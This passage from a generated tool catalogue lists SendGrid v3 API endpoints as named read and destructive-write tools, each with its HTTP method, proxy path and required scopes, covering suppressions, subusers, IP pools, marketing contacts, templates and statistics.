/v3/marketing/singlesends/{id}/schedule DELETE /api/v1/sendgrid/v3/marketing/singlesends/{id}/schedule. Scopes: none. sendgrid_delete_v3_partners_accounts_by_accountid (write, destructive) — Delete account via DELETE /v3/partners/accounts/{accountID} DELETE /api/v1/sendgrid/v3/partners/accounts/{accountID}. Scopes: none. sendgrid_delete_v3_partners_accounts_by_accountid_ips (write, destructive) — Remove account ips via DELETE /v3/partners/accounts/{accountID}/ips DELETE /api/v1/sendgrid/v3/partners/accounts/{accountID}/ips. Scopes: none. sendgrid_delete_v3_send_ips_pools_by_poolid (write, destructive) — Delete ip pool via DELETE /v3/send_ips/pools/{poolid} DELETE /api/v1/sendgrid/v3/send_ips/pools/{poolid}. Scopes: none. sendgrid_delete_v3_senders_by_sender_id (write, destructive) — Delete sender via DELETE /v3/senders/{sender_id} DELETE /api/v1/sendgrid/v3/senders/{sender_id}. Scopes: none. sendgrid_delete_v3_sso_certificates_by_cert_id (write, destructive) — Delete sso certificate via DELETE /v3/sso/certificates/{cert_id} DELETE /api/v1/sendgrid/v3/sso/certificates/{cert_id}. Scopes: none. sendgrid_delete_v3_sso_integrations_by_id (write, destructive) — Delete sso integration via DELETE /v3/sso/integrations/{id} DELETE /api/v1/sendgrid/v3/sso/integrations/{id}. Scopes: none. sendgrid_delete_v3_subusers_by_subuser_name (write, destructive) — Delete subuser via DELETE /v3/subusers/{subuser_name} DELETE /api/v1/sendgrid/v3/subusers/{subuser_name}. Scopes: none. sendgrid_delete_v3_suppression_blocks (write, destructive) — Delete suppression blocks via DELETE /v3/suppression/blocks DELETE /api/v1/sendgrid/v3/suppression/blocks. Scopes: suppression.blocks.delete. sendgrid_delete_v3_suppression_blocks_by_email (write, destructive) — Delete suppression block via DELETE /v3/suppression/blocks/{email} DELETE /api/v1/sendgrid/v3/suppression/blocks/{email}. Scopes: suppression.blocks.delete. sendgrid_delete_v3_suppression_bounces (write, destructive) — Delete suppression bounces via DELETE /v3/suppression/bounces DELETE /api/v1/sendgrid/v3/suppression/bounces. Scopes: suppression.bounces.delete. sendgrid_delete_v3_suppression_bounces_by_email (write, destructive) — Delete suppression bounce via DELETE /v3/suppression/bounces/{email} DELETE /api/v1/sendgrid/v3/suppression/bounces/{email}. Scopes: suppression.bounces.delete. sendgrid_delete_v3_suppression_invalid_emails (write, destructive) — Delete invalid emails via DELETE /v3/suppression/invalid_emails DELETE /api/v1/sendgrid/v3/suppression/invalid_emails. Scopes: suppression.invalid_emails.delete. sendgrid_delete_v3_suppression_invalid_emails_by_email (write, destructive) — Delete invalid email via DELETE /v3/suppression/invalid_emails/{email} DELETE /api/v1/sendgrid/v3/suppression/invalid_emails/{email}. Scopes: suppression.invalid_emails.delete. sendgrid_delete_v3_suppression_spam_reports (write, destructive) — Delete spam reports via DELETE /v3/suppression/spam_reports DELETE /api/v1/sendgrid/v3/suppression/spam_reports. Scopes: suppression.spam_reports.delete. sendgrid_delete_v3_suppression_spam_reports_by_email (write, destructive) — Delete spam report via DELETE /v3/suppression/spam_reports/{email} DELETE /api/v1/sendgrid/v3/suppression/spam_reports/{email}. Scopes: suppression.spam_reports.delete. sendgrid_delete_v3_teammates_by_username (write, destructive) — Delete teammate via DELETE /v3/teammates/{username} DELETE /api/v1/sendgrid/v3/teammates/{username}. Scopes: teammates.delete. sendgrid_delete_v3_teammates_pending_by_token (write, destructive) — Delete pending teammate via DELETE /v3/teammates/pending/{token} DELETE /api/v1/sendgrid/v3/teammates/pending/{token}. Scopes: teammates.delete. sendgrid_delete_v3_templates_by_template_id (write, destructive) — Delete template via DELETE /v3/templates/{template_id} DELETE /api/v1/sendgrid/v3/templates/{template_id}. Scopes: templates.delete. sendgrid_delete_v3_templates_by_template_id_versions_by_version_id (write, destructive) — Delete template version via DELETE /v3/templates/{template_id}/versions/{version_id} DELETE /api/v1/sendgrid/v3/templates/{template_id}/versions/{version_id}. Scopes: templates.versions.delete. sendgrid_delete_v3_user_scheduled_sends_by_batch_id (write, destructive) — Delete scheduled send via DELETE /v3/user/scheduled_sends/{batch_id} DELETE /api/v1/sendgrid/v3/user/scheduled_sends/{batch_id}. Scopes: user.scheduled_sends.delete. sendgrid_delete_v3_user_webhooks_event_settings_by_id (write, destructive) — Delete event webhook via DELETE /v3/user/webhooks/event/settings/{id} DELETE /api/v1/sendgrid/v3/user/webhooks/event/settings/{id}. Scopes: user.webhooks.event.settings.delete. sendgrid_delete_v3_user_webhooks_parse_settings_by_hostname (write, destructive) — Delete parse setting via DELETE /v3/user/webhooks/parse/settings/{hostname} DELETE /api/v1/sendgrid/v3/user/webhooks/parse/settings/{hostname}. Scopes: user.webhooks.parse.settings.delete. sendgrid_delete_v3_user_webhooks_security_policies_by_id (write, destructive) — Delete security policy via DELETE /v3/user/webhooks/security/policies/{id} DELETE /api/v1/sendgrid/v3/user/webhooks/security/policies/{id}. Scopes: none. sendgrid_delete_v3_verified_senders_by_id (write, destructive) — Delete verified sender via DELETE /v3/verified_senders/{id} DELETE /api/v1/sendgrid/v3/verified_senders/{id}. Scopes: none. sendgrid_delete_v3_whitelabel_domains_by_domain_id (write, destructive) — Delete authenticated domain via DELETE /v3/whitelabel/domains/{domain_id} DELETE /api/v1/sendgrid/v3/whitelabel/domains/{domain_id}. Scopes: whitelabel.delete. sendgrid_delete_v3_whitelabel_domains_by_domain_id_subuser (write, destructive) — Disassociate subuser from domain via DELETE /v3/whitelabel/domains/{domain_id}/subuser DELETE /api/v1/sendgrid/v3/whitelabel/domains/{domain_id}/subuser. Scopes: whitelabel.delete. sendgrid_delete_v3_whitelabel_domains_by_id_ips_by_ip (write, destructive) — Delete ip from authenticated domain via DELETE /v3/whitelabel/domains/{id}/ips/{ip} DELETE /api/v1/sendgrid/v3/whitelabel/domains/{id}/ips/{ip}. Scopes: whitelabel.delete. sendgrid_delete_v3_whitelabel_domains_subuser (write, destructive) — Disassociate authenticated domain from user via DELETE /v3/whitelabel/domains/subuser DELETE /api/v1/sendgrid/v3/whitelabel/domains/subuser. Scopes: whitelabel.delete. sendgrid_delete_v3_whitelabel_ips_by_id (write, destructive) — Delete reverse dns via DELETE /v3/whitelabel/ips/{id} DELETE /api/v1/sendgrid/v3/whitelabel/ips/{id}. Scopes: whitelabel.delete. sendgrid_delete_v3_whitelabel_links_by_id (write, destructive) — Delete branded link via DELETE /v3/whitelabel/links/{id} DELETE /api/v1/sendgrid/v3/whitelabel/links/{id}. Scopes: whitelabel.delete. sendgrid_delete_v3_whitelabel_links_subuser (write, destructive) — Disassociate branded link from subuser via DELETE /v3/whitelabel/links/subuser DELETE /api/v1/sendgrid/v3/whitelabel/links/subuser. Scopes: whitelabel.delete. sendgrid_get_v3_access_settings_activity (read) — List access activity via GET /v3/access_settings/activity GET /api/v1/sendgrid/v3/access_settings/activity. Scopes: access_settings.activity.read. sendgrid_get_v3_access_settings_whitelist (read) — List allowed ip via GET /v3/access_settings/whitelist GET /api/v1/sendgrid/v3/access_settings/whitelist. Scopes: access_settings.whitelist.read. sendgrid_get_v3_access_settings_whitelist_by_rule_id (read) — Get allowed ip via GET /v3/access_settings/whitelist/{rule_id} GET /api/v1/sendgrid/v3/access_settings/whitelist/{rule_id}. Scopes: access_settings.whitelist.read. sendgrid_get_v3_alerts (read) — List alert via GET /v3/alerts GET /api/v1/sendgrid/v3/alerts. Scopes: alerts.read. sendgrid_get_v3_alerts_by_alert_id (read) — Get alert via GET /v3/alerts/{alert_id} GET /api/v1/sendgrid/v3/alerts/{alert_id}. Scopes: alerts.read. sendgrid_get_v3_api_keys (read) — List api key via GET /v3/api_keys GET /api/v1/sendgrid/v3/api_keys. Scopes: api_keys.read. sendgrid_get_v3_api_keys_by_api_key_id (read) — Get api key via GET /v3/api_keys/{api_key_id} GET /api/v1/sendgrid/v3/api_keys/{api_key_id}. Scopes: api_keys.read. sendgrid_get_v3_asm_groups (read) — List asm group via GET /v3/asm/groups GET /api/v1/sendgrid/v3/asm/groups. Scopes: asm.groups.read. sendgrid_get_v3_asm_groups_by_group_id (read) — Get asm group via GET /v3/asm/groups/{group_id} GET /api/v1/sendgrid/v3/asm/groups/{group_id}. Scopes: asm.groups.read. sendgrid_get_v3_asm_groups_by_group_id_suppressions (read) — List suppression from asm group via GET /v3/asm/groups/{group_id}/suppressions GET /api/v1/sendgrid/v3/asm/groups/{group_id}/suppressions. Scopes: asm.groups.suppressions.read. sendgrid_get_v3_asm_suppressions (read) — List asm suppression via GET /v3/asm/suppressions GET /api/v1/sendgrid/v3/asm/suppressions. Scopes: none. sendgrid_get_v3_asm_suppressions_by_email (read) — Get asm suppression via GET /v3/asm/suppressions/{email} GET /api/v1/sendgrid/v3/asm/suppressions/{email}. Scopes: none. sendgrid_get_v3_asm_suppressions_global_by_email (read) — Get global suppression via GET /v3/asm/suppressions/global/{email} GET /api/v1/sendgrid/v3/asm/suppressions/global/{email}. Scopes: asm.suppressions.global.read. sendgrid_get_v3_browsers_stats (read) — List browser stat via GET /v3/browsers/stats GET /api/v1/sendgrid/v3/browsers/stats. Scopes: browsers.stats.read. sendgrid_get_v3_campaigns (read) — List campaign via GET /v3/campaigns GET /api/v1/sendgrid/v3/campaigns. Scopes: none. sendgrid_get_v3_campaigns_by_campaign_id (read) — Get campaign via GET /v3/campaigns/{campaign_id} GET /api/v1/sendgrid/v3/campaigns/{campaign_id}. Scopes: none. sendgrid_get_v3_campaigns_by_campaign_id_schedules (read) — Get scheduled campaign via GET /v3/campaigns/{campaign_id}/schedules GET /api/v1/sendgrid/v3/campaigns/{campaign_id}/schedules. Scopes: none. sendgrid_get_v3_categories (read) — List category via GET /v3/categories GET /api/v1/sendgrid/v3/categories. Scopes: categories.read. sendgrid_get_v3_categories_stats (read) — List category stat via GET /v3/categories/stats GET /api/v1/sendgrid/v3/categories/stats. Scopes: categories.stats.read. sendgrid_get_v3_categories_stats_sums (read) — List category stat sum via GET /v3/categories/stats/sums GET /api/v1/sendgrid/v3/categories/stats/sums. Scopes: categories.stats.sums.read. sendgrid_get_v3_clients_by_client_type_stats (read) — Get client stat via GET /v3/clients/{client_type}/stats GET /api/v1/sendgrid/v3/clients/{client_type}/stats. Scopes: clients.stats.read. sendgrid_get_v3_clients_stats (read) — List client stat via GET /v3/clients/stats GET /api/v1/sendgrid/v3/clients/stats. Scopes: clients.stats.read. sendgrid_get_v3_contactdb_custom_fields (read) — List custom field via GET /v3/contactdb/custom_fields GET /api/v1/sendgrid/v3/contactdb/custom_fields. Scopes: none. sendgrid_get_v3_contactdb_custom_fields_by_custom_field_id (read) — Get custom field via GET /v3/contactdb/custom_fields/{custom_field_id} GET /api/v1/sendgrid/v3/contactdb/custom_fields/{custom_field_id}. Scopes: none. sendgrid_get_v3_contactdb_exports (read) — List export recipient via GET /v3/contactdb/exports GET /api/v1/sendgrid/v3/contactdb/exports. Scopes: none. sendgrid_get_v3_contactdb_exports_by_id (read) — Get export recipient via GET /v3/contactdb/exports/{id} GET /api/v1/sendgrid/v3/contactdb/exports/{id}. Scopes: none. sendgrid_get_v3_contactdb_lists (read) — List contact db list via GET /v3/contactdb/lists GET /api/v1/sendgrid/v3/contactdb/lists. Scopes: none. sendgrid_get_v3_contactdb_lists_by_list_id (read) — Get contact db list via GET /v3/contactdb/lists/{list_id} GET /api/v1/sendgrid/v3/contactdb/lists/{list_id}. Scopes: none. sendgrid_get_v3_contactdb_lists_by_list_id_recipients (read) — List recipients from contact db list via GET /v3/contactdb/lists/{list_id}/recipients GET /api/v1/sendgrid/v3/contactdb/lists/{list_id}/recipients. Scopes: none. sendgrid_get_v3_contactdb_recipients (read) — List recipient via GET /v3/contactdb/recipients GET /api/v1/sendgrid/v3/contactdb/recipients. Scopes: none. sendgrid_get_v3_contactdb_recipients_billable_count (read) — Get billable via GET /v3/contactdb/recipients/billable_count GET /api/v1/sendgrid/v3/contactdb/recipients/billable_count. Scopes: none. sendgrid_get_v3_contactdb_recipients_by_recipient_id (read) — Get recipient via GET /v3/contactdb/recipients/{recipient_id} GET /api/v1/sendgrid/v3/contactdb/recipients/{recipient_id}. Scopes: none. sendgrid_get_v3_contactdb_recipients_by_recipient_id_lists (read) — Get recipient list via GET /v3/contactdb/recipients/{recipient_id}/lists GET /api/v1/sendgrid/v3/contactdb/recipients/{recipient_id}/lists. Scopes: none. sendgrid_get_v3_contactdb_recipients_count (read) — List recipient count via GET /v3/contactdb/recipients/count GET /api/v1/sendgrid/v3/contactdb/recipients/count. Scopes: none. sendgrid_get_v3_contactdb_recipients_search (read) — List search recipient via GET /v3/contactdb/recipients/search GET /api/v1/sendgrid/v3/contactdb/recipients/search. Scopes: none. sendgrid_get_v3_contactdb_reserved_fields (read) — List reserved field via GET /v3/contactdb/reserved_fields GET /api/v1/sendgrid/v3/contactdb/reserved_fields. Scopes: none. sendgrid_get_v3_contactdb_segments (read) — List segment via GET /v3/contactdb/segments GET /api/v1/sendgrid/v3/contactdb/segments. Scopes: none. sendgrid_get_v3_contactdb_segments_by_segment_id (read) — Get segment via GET /v3/contactdb/segments/{segment_id} GET /api/v1/sendgrid/v3/contactdb/segments/{segment_id}. Scopes: none. sendgrid_get_v3_contactdb_segments_by_segment_id_recipients (read) — List recipient for segment via GET /v3/contactdb/segments/{segment_id}/recipients GET /api/v1/sendgrid/v3/contactdb/segments/{segment_id}/recipients. Scopes: none. sendgrid_get_v3_contactdb_status (read) — List status via GET /v3/contactdb/status GET /api/v1/sendgrid/v3/contactdb/status. Scopes: none. sendgrid_get_v3_designs (read) — List design via GET /v3/designs GET /api/v1/sendgrid/v3/designs. Scopes: design_library.read. sendgrid_get_v3_designs_by_id (read) — Get design via GET /v3/designs/{id} GET /api/v1/sendgrid/v3/designs/{id}. Scopes: design_library.read. sendgrid_get_v3_designs_pre_builts (read) — List pre built design via GET /v3/designs/pre-builts GET /api/v1/sendgrid/v3/designs/pre-builts. Scopes: design_library.read. sendgrid_get_v3_designs_pre_builts_by_id (read) — Get pre built design via GET /v3/designs/pre-builts/{id} GET /api/v1/sendgrid/v3/designs/pre-builts/{id}. Scopes: design_library.read. sendgrid_get_v3_devices_stats (read) — List device stat via GET /v3/devices/stats GET /api/v1/sendgrid/v3/devices/stats. Scopes: devices.stats.read. sendgrid_get_v3_engagementquality_scores (read) — List engagement quality score via GET /v3/engagementquality/scores GET /api/v1/sendgrid/v3/engagementquality/scores. Scopes: none. sendgrid_get_v3_engagementquality_subusers_scores (read) — List subuser engagement quality score via GET /v3/engagementquality/subusers/scores GET /api/v1/sendgrid/v3/engagementquality/subusers/scores. Scopes: none. sendgrid_get_v3_geo_stats (read) — List geo stat via GET /v3/geo/stats GET /api/v1/sendgrid/v3/geo/stats. Scopes: geo.stats.read. sendgrid_get_v3_ips (read) — List ip via GET /v3/ips GET /api/v1/sendgrid/v3/ips. Scopes: none. sendgrid_get_v3_ips_assigned (read) — List assigned ip via GET /v3/ips/assigned GET /api/v1/sendgrid/v3/ips/assigned. Scopes: none. sendgrid_get_v3_ips_by_ip_address (read) — Get ip via GET /v3/ips/{ip_address} GET /api/v1/sendgrid/v3/ips/{ip_address}. Scopes: none. sendgrid_get_v3_ips_pools (read) — List ip pool via GET /v3/ips/pools GET /api/v1/sendgrid/v3/ips/pools. Scopes: none. sendgrid_get_v3_ips_pools_by_pool_name (read) — Get ip pool via GET /v3/ips/pools/{pool_name} GET /api/v1/sendgrid/v3/ips/pools/{pool_name}. Scopes: none. sendgrid_get_v3_ips_remaining (read) — List remaining ip count via GET /v3/ips/remaining GET /api/v1/sendgrid/v3/ips/remaining. Scopes: none. sendgrid_get_v3_ips_warmup (read) — List warm up ip via GET /v3/ips/warmup GET /api/v1/sendgrid/v3/ips/warmup. Scopes: none. sendgrid_get_v3_ips_warmup_by_ip_address (read) — Get warm up ip via GET /v3/ips/warmup/{ip_address} GET /api/v1/sendgrid/v3/ips/warmup/{ip_address}. Scopes: none. sendgrid_get_v3_logs_by_sg_message_id (read) — Get message by id via GET /v3/logs/{sg_message_id} GET /api/v1/sendgrid/v3/logs/{sg_message_id}. Scopes: none. sendgrid_get_v3_mail_batch_by_batch_id (read) — Get mail batch via GET /v3/mail/batch/{batch_id} GET /api/v1/sendgrid/v3/mail/batch/{batch_id}. Scopes: mail.batch.read. sendgrid_get_v3_mail_settings (read) — List mail setting via GET /v3/mail_settings GET /api/v1/sendgrid/v3/mail_settings. Scopes: mail_settings.read. sendgrid_get_v3_mail_settings_address_whitelist (read) — List address whitelist via GET /v3/mail_settings/address_whitelist GET /api/v1/sendgrid/v3/mail_settings/address_whitelist. Scopes: mail_settings.address_whitelist.read. sendgrid_get_v3_mail_settings_bounce_purge (read) — List bounce purge via GET /v3/mail_settings/bounce_purge GET /api/v1/sendgrid/v3/mail_settings/bounce_purge. Scopes: mail_settings.bounce_purge.read. sendgrid_get_v3_mail_settings_footer (read) — List footer via GET /v3/mail_settings/footer GET /api/v1/sendgrid/v3/mail_settings/footer. Scopes: mail_settings.footer.read. sendgrid_get_v3_mail_settings_forward_bounce (read) — List forward bounce via GET /v3/mail_settings/forward_bounce GET /api/v1/sendgrid/v3/mail_settings/forward_bounce. Scopes: mail_settings.forward_bounce.read. sendgrid_get_v3_mail_settings_forward_spam (read) — List forward spam via GET /v3/mail_settings/forward_spam GET /api/v1/sendgrid/v3/mail_settings/forward_spam. Scopes: mail_settings.forward_spam.read. sendgrid_get_v3_mail_settings_template (read) — List template via GET /v3/mail_settings/template GET /api/v1/sendgrid/v3/mail_settings/template. Scopes: mail_settings.template.read. sendgrid_get_v3_mailbox_providers_stats (read) — List mailbox provider stat via GET /v3/mailbox_providers/stats GET /api/v1/sendgrid/v3/mailbox_providers/stats. Scopes: mailbox_providers.stats.read. sendgrid_get_v3_marketing_contacts (read) — List contact via GET /v3/marketing/contacts GET /api/v1/sendgrid/v3/marketing/contacts. Scopes: none. sendgrid_get_v3_marketing_contacts_by_id (read) — Get contact via GET /v3/marketing/contacts/{id} GET /api/v1/sendgrid/v3/marketing/contacts/{id}. Scopes: none. sendgrid_get_v3_marketing_contacts_count (read) — List contact count via GET /v3/marketing/contacts/count GET /api/v1/sendgrid/v3/marketing/contacts/count. Scopes: none. sendgrid_get_v3_marketing_contacts_exports (read) — List export contact via GET /v3/marketing/contacts/exports GET /api/v1/sendgrid/v3/marketing/contacts/exports. Scopes: none. sendgrid_get_v3_marketing_contacts_exports_by_id (read) — Get export contact via GET /v3/marketing/contacts/exports/{id} GET /api/v1/sendgrid/v3/marketing/contacts/exports/{id}. Scopes: none. sendgrid_get_v3_marketing_contacts_imports_by_id (read) — Get import contact via GET /v3/marketing/contacts/imports/{id} GET /api/v1/sendgrid/v3/marketing/contacts/imports/{id}. Scopes: none. sendgrid_get_v3_marketing_field_definitions (read) — List field definition via GET /v3/marketing/field_definitions GET /api/v1/sendgrid/v3/marketing/field_definitions. Scopes: none. sendgrid_get_v3_marketing_integrations (read) — Get integrations by user via GET /v3/marketing/integrations GET /api/v1/sendgrid/v3/marketing/integrations. Scopes: none. sendgrid_get_v3_marketing_integrations_by_id (read) — Find integration by id via GET /v3/marketing/integrations/{id} GET /api/v1/sendgrid/v3/marketing/integrations/{id}. Scopes: none. sendgrid_get_v3_marketing_lists (read) — List marketing list via GET /v3/marketing/lists GET /api/v1/sendgrid/v3/marketing/lists. Scopes: none. sendgrid_get_v3_marketing_lists_by_id (read) — Get marketing list via GET /v3/marketing/lists/{id} GET /api/v1/sendgrid/v3/marketing/lists/{id}. Scopes: none. sendgrid_get_v3_marketing_lists_by_id_contacts_count (read) — List contact count via GET /v3/marketing/lists/{id}/contacts/count GET /api/v1/sendgrid/v3/marketing/lists/{id}/contacts/count. Scopes: none. sendgrid_get_v3_marketing_segments (read) — List segment via GET /v3/marketing/segments GET /api/v1/sendgrid/v3/marketing/segments. Scopes: none. sendgrid_get_v3_marketing_segments_2_0 (read) — List segment via GET /v3/marketing/segments/2.0 GET /api/v1/sendgrid/v3/marketing/segments/2.0. Scopes: none. sendgrid_get_v3_marketing_segments_2_0_by_segment_id (read) — Get segment via GET /v3/marketing/segments/2.0/{segment_id} GET /api/v1/sendgrid/v3/marketing/segments/2.0/{segment_id}. Scopes: none. sendgrid_get_v3_marketing_segments_by_segment_id (read) — Get segment via GET /v3/marketing/segments/{segment_id} GET /api/v1/sendgrid/v3/marketing/segments/{segment_id}. Scopes: none. sendgrid_get_v3_marketing_senders (read) — List sender via GET /v3/marketing/senders GET /api/v1/sendgrid/v3/marketing/senders. Scopes: none. sendgrid_get_v3_marketing_senders_by_id (read) — Get sender via GET /v3/marketing/senders/{id} GET /api/v1/sendgrid/v3/marketing/senders/{id}. Scopes: none. sendgrid_get_v3_marketing_singlesends (read) — List single send via GET /v3/marketing/singlesends GET /api/v1/sendgrid/v3/marketing/singlesends. Scopes: none. sendgrid_get_v3_marketing_singlesends_by_id (read) — Get single send via GET /v3/marketing/singlesends/{id} GET /api/v1/sendgrid/v3/marketing/singlesends/{id}. Scopes: none. sendgrid_get_v3_marketing_singlesends_categories (read) — List category via GET /v3/marketing/singlesends/categories GET /api/v1/sendgrid/v3/marketing/singlesends/categories. Scopes: none. sendgrid_get_v3_marketing_stats_automations (read) — List automation stat via GET /v3/marketing/stats/automations GET /api/v1/sendgrid/v3/marketing/stats/automations. Scopes: none. sendgrid_get_v3_marketing_stats_automations_by_id (read) — Get automation stat via GET /v3/marketing/stats/automations/{id} GET /api/v1/sendgrid/v3/marketing/stats/automations/{id}. Scopes: none. sendgrid_get_v3_marketing_stats_automations_by_id_links (read) — List click tracking stat via GET /v3/marketing/stats/automations/{id}/links GET /api/v1/sendgrid/v3/marketing/stats/automations/{id}/links. Scopes: none. sendgrid_get_v3_marketing_stats_automations_export (read) — Export automation stat via GET /v3/marketing/stats/automations/export GET /api/v1/sendgrid/v3/marketing/stats/automations/export. Scopes: none. sendgrid_get_v3_marketing_stats_singlesends (read) — List single send stat via GET /v3/marketing/stats/singlesends GET /api/v1/sendgrid/v3/marketing/stats/singlesends. Scopes: none. sendgrid_get_v3_marketing_stats_singlesends_by_id (read) — Get single send stat via GET /v3/marketing/stats/singlesends/{id} GET /api/v1/sendgrid/v3/marketing/stats/singlesends/{id}. Scopes: none. sendgrid_get_v3_marketing_stats_singlesends_by_id_links (read) — List single send tracking stat via GET /v3/marketing/stats/singlesends/{id}/links GET /api/v1/sendgrid/v3/marketing/stats/singlesends/{id}/links. Scopes: none. sendgrid_get_v3_marketing_stats_singlesends_export (read) — Export single send stat via GET /v3/marketing/stats/singlesends/export GET /api/v1/sendgrid/v3/marketing/stats/singlesends/export. Scopes: none. sendgrid_get_v3_messages (read) — List message via GET /v3/messages GET /api/v1/sendgrid/v3/messages. Scopes: messages.read. sendgrid_get_v3_messages_by_msg_id (read) — Get message via GET /v3/messages/{msg_id} GET /api/v1/sendgrid/v3/messages/{msg_id}. Scopes: messages.read. sendgrid_get_v3_messages_download_by_download_uuid (read) — Download csv via GET /v3/messages/download/{download_uuid} GET /api/v1/sendgrid/v3/messages/download/{download_uuid}. Scopes: messages.read. sendgrid_get_v3_partner_settings (read) — List partner setting via GET /v3/partner_settings GET /api/v1/sendgrid/v3/partner_settings. Scopes: partner_settings.read. sendgrid_get_v3_partners_accounts (read) — List account via GET /v3/partners/accounts GET /api/v1/sendgrid/v3/partners/accounts. Scopes: none. sendgrid_get_v3_partners_accounts_by_accountid_ips (read) — List account ips via GET /v3/partners/accounts/{accountID}/ips GET /api/v1/sendgrid/v3/partners/accounts/{accountID}/ips. Scopes: none. sendgrid_get_v3_partners_accounts_by_accountid_offerings (read) — List account offering via GET /v3/partners/accounts/{accountID}/offerings GET /api/v1/sendgrid/v3/partners/accounts/{accountID}/offerings. Scopes: none. sendgrid_get_v3_partners_accounts_by_accountid_state (read) — Get account state via GET /v3/partners/accounts/{accountID}/state GET /api/v1/sendgrid/v3/partners/accounts/{accountID}/state. Scopes: none. sendgrid_get_v3_partners_offerings (read) — List offering via GET /v3/partners/offerings GET /api/v1/sendgrid/v3/partners/offerings. Scopes: none. sendgrid_get_v3_scopes (read) — List scope via GET /v3/scopes GET /api/v1/sendgrid/v3/scopes. Scopes: none. sendgrid_get_v3_send_ips_ips (read) — List ip via GET /v3/send_ips/ips GET /api/v1/sendgrid/v3/send_ips/ips. Scopes: none. sendgrid_get_v3_send_ips_ips_by_ip (read) — Get ip via GET /v3/send_ips/ips/{ip} GET /api/v1/sendgrid/v3/send_ips/ips/{ip}. Scopes: none. sendgrid_get_v3_send_ips_ips_by_ip_subusers (read) — List sub user assigned to ip via GET /v3/send_ips/ips/{ip}/subusers GET /api/v1/sendgrid/v3/send_ips/ips/{ip}/subusers. Scopes: none. sendgrid_get_v3_send_ips_pools_by_poolid (read) — Get ip pool via GET /v3/send_ips/pools/{poolid} GET /api/v1/sendgrid/v3/send_ips/pools/{poolid}. Scopes: none. sendgrid_get_v3_send_ips_pools_by_poolid_ips (read) — List ip assigned to ip pool via GET /v3/send_ips/pools/{poolid}/ips GET /api/v1/sendgrid/v3/send_ips/pools/{poolid}/ips. Scopes: none. sendgrid_get_v3_senders (read) — List sender via GET /v3/senders GET /api/v1/sendgrid/v3/senders. Scopes: none. sendgrid_get_v3_senders_by_sender_id (read) — Get sender via GET /v3/senders/{sender_id} GET /api/v1/sendgrid/v3/senders/{sender_id}. Scopes: none. sendgrid_get_v3_sso_certificates_by_cert_id (read) — Get sso certificate via GET /v3/sso/certificates/{cert_id} GET /api/v1/sendgrid/v3/sso/certificates/{cert_id}. Scopes: none. sendgrid_get_v3_sso_integrations (read) — List sso integration via GET /v3/sso/integrations GET /api/v1/sendgrid/v3/sso/integrations. Scopes: none. sendgrid_get_v3_sso_integrations_by_id (read) — Get sso integration via GET /v3/sso/integrations/{id} GET /api/v1/sendgrid/v3/sso/integrations/{id}. Scopes: none. sendgrid_get_v3_sso_integrations_by_integration_id_certificates (read) — List sso integration certificate via GET /v3/sso/integrations/{integration_id}/certificates GET /api/v1/sendgrid/v3/sso/integrations/{integration_id}/certificates. Scopes: none. sendgrid_get_v3_stats (read) — List stat via GET /v3/stats GET /api/v1/sendgrid/v3/stats. Scopes: stats.read. sendgrid_get_v3_subusers (read) — List subuser via GET /v3/subusers GET /api/v1/sendgrid/v3/subusers. Scopes: none. sendgrid_get_v3_subusers_by_subuser_name_credits (read) — Get subuser credit via GET /v3/subusers/{subuser_name}/credits GET /api/v1/sendgrid/v3/subusers/{subuser_name}/credits. Scopes: none. sendgrid_get_v3_subusers_by_subuser_name_stats_monthly (read) — List subuser monthly stat via GET /v3/subusers/{subuser_name}/stats/monthly GET /api/v1/sendgrid/v3/subusers/{subuser_name}/stats/monthly. Scopes: subusers.stats.monthly.read. sendgrid_get_v3_subusers_reputations (read) — List reputation via GET /v3/subusers/reputations GET /api/v1/sendgrid/v3/subusers/reputations. Scopes: none. sendgrid_get_v3_subusers_stats (read) — List stat via GET /v3/subusers/stats GET /api/v1/sendgrid/v3/subusers/stats. Scopes: subusers.stats.read. sendgrid_get_v3_subusers_stats_monthly (read) — List monthly stat via GET /v3/subusers/stats/monthly GET /api/v1/sendgrid/v3/subusers/stats/monthly. Scopes: subusers.stats.monthly.read. sendgrid_get_v3_subusers_stats_sums (read) — List stat sum via GET /v3/subusers/stats/sums GET /api/v1/sendgrid/v3/subusers/stats/sums. Scopes: subusers.stats.sums.read. sendgrid_get_v3_suppression_blocks (read) — List suppression block via GET /v3/suppression/blocks GET /api/v1/sendgrid/v3/suppression/blocks. Scopes: suppression.blocks.read. sendgrid_get_v3_suppression_blocks_by_email (read) — Get suppression block via GET /v3/suppression/blocks/{email} GET /api/v1/sendgrid/v3/suppression/blocks/{email}. Scopes: suppression.blocks.read. sendgrid_get_v3_suppression_bounces (read) — List suppression bounces via GET /v3/suppression/bounces GET /api/v1/sendgrid/v3/suppression/bounces. Scopes: suppression.bounces.read. sendgrid_get_v3_suppression_bounces_by_email (read) — Get suppression bounces via GET /v3/suppression/bounces/{email} GET /api/v1/sendgrid/v3/suppression/bounces/{email}. Scopes: suppression.bounces.read. sendgrid_get_v3_suppression_bounces_classifications (read) — List suppression bounces classifications via GET /v3/suppression/bounces/classifications GET /api/v1/sendgrid/v3/suppression/bounces/classifications. Scopes: suppression.bounces.read. sendgrid_get_v3_suppression_bounces_classifications_by_classification (read) — Get suppression bounces classifications via GET /v3/suppression/bounces/classifications/{classification} GET /api/v1/sendgrid/v3/suppression/bounces/classifications/{classification}. Scopes: suppression.bounces.read. sendgrid_get_v3_suppression_invalid_emails (read) — List invalid email via GET /v3/suppression/invalid_emails GET /api/v1/sendgrid/v3/suppression/invalid_emails. Scopes: suppression.invalid_emails.read. sendgrid_get_v3_suppression_invalid_emails_by_email (read) — Get invalid email via GET /v3/suppression/invalid_emails/{email} GET /api/v1/sendgrid/v3/suppression/invalid_emails/{email}. Scopes: suppression.invalid_emails.read. sendgrid_get_v3_suppression_spam_reports (read) — List spam report via GET /v3/suppression/spam_reports GET /api/v1/sendgrid/v3/suppression/spam_reports. Scopes: suppression.spam_reports.read. sendgrid_get_v3_suppression_spam_reports_by_email (read) — Get spam report via GET /v3/suppression/spam_reports/{email} GET /api/v1/sendgrid/v3/suppression/spam_reports/{email}. Scopes: suppression.spam_reports.read. sendgrid_get_v3_suppression_unsubscribes (read) — List global suppression via GET /v3/suppression/unsubscribes GET /api/v1/sendgrid/v3/suppression/unsubscribes. Scopes: suppression.unsubscribes.read. sendgrid_get_v3_teammates (read) — List teammate via GET /v3/teammates GET /api/v1/sendgrid/v3/teammates. Scopes: teammates.read. sendgrid_get_v3_teammates_by_teammate_name_subuser_access (read) — List subuser by template via GET /v3/teammates/{teammate_name}/subuser_access GET /api/v1/sendgrid/v3/teammates/{teammate_name}/subuser_access. Scopes: teammates.read. 